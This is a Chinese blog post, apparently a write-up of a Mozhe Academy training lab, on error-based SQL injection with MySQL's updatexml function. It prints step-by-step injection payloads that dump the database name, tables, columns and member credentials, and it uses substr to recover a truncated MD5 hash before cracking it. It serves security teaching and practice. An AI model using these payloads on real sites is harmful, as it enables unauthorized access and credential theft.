SQL注入之报错盲注(墨者学院)

本文详细介绍了SQL报错注入的概念、步骤及应用,通过靶场环境展示了如何利用updatexml函数进行盲注,爆破数据库名、数据表、字段及内容,最终解密出隐藏的密码。过程中强调了报错注入在无回显情况下的优势和局限性,并演示了应对异常字符的方法。
摘要由CSDN通过智能技术生成

首先我们先来了解一下报错注入的基本概念

1:报错注入定义

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

2:报错注入前提

页面上没有回显点,但是必须有SQL语句执行错误的信息。

3:报错注入优缺点

优点:不需要显示位,如果有显示位建议使用union联合查询。

缺点:需要有SQL语句的报错信息。

4:构造报错注入的基本步骤

  1. 构造目标查询语句
  2. 选择报错注入函数
  3. 构造报错注入语句
  4. 拼接报错注入语句

5:常见的报错注入函数

updatexml();floor();extractvalue();等等,待会靶场需要使用的函数就是updatexml();

报错注入基本概念了解后就可以开始了

如图是靶场环境,根据网站的URL可以很明显的知道可能存在注入

首先我是先通过 and 1=1  和 and 1=2 来判断是否存在注入和注入类型,但是当我输入and 1=2 时发现网页既然没有出错,还是和 and 1=1 时一样

因为靶场已经告诉你这是报错盲注,所以直接开始使用报错注入语句

1:爆破数据库1' and updatexml(1,concat(0x7e,(select database()),0x7e),1 )--+  0x7e是~的16进制,concat()语句将多个字符串连接成一个字符串 , --+ 为空格

 2:爆破数据表' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1 )--+爆出了两张数据表,猜测管理员等信息在member表中  注意要爆出notice表需要把limit0,1改为limit1,1

 

3:爆破字段' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member' limit 0,1),0x7e),1 )--+  出了name,password 还有status字段

 

 4:爆破字段内容' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+

' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+

 

用户名有两个都是 mozhe

 密码爆出两个使用MD5解密工具,但是当你去解密时你会发现解密不出来,因为密码长度为31位所以无法解密,但是MD5长度一般为16位或32位,猜测可能是最后一个字符没显示,在这里利用substr函数进行字符串截取

' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1)--+

 

 所以将密码拼接一下在进行解密  528469 和 480132

拿到密码后进行登录拿到了key

  今天的内容就到这了,点个赞在走吧^0^

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值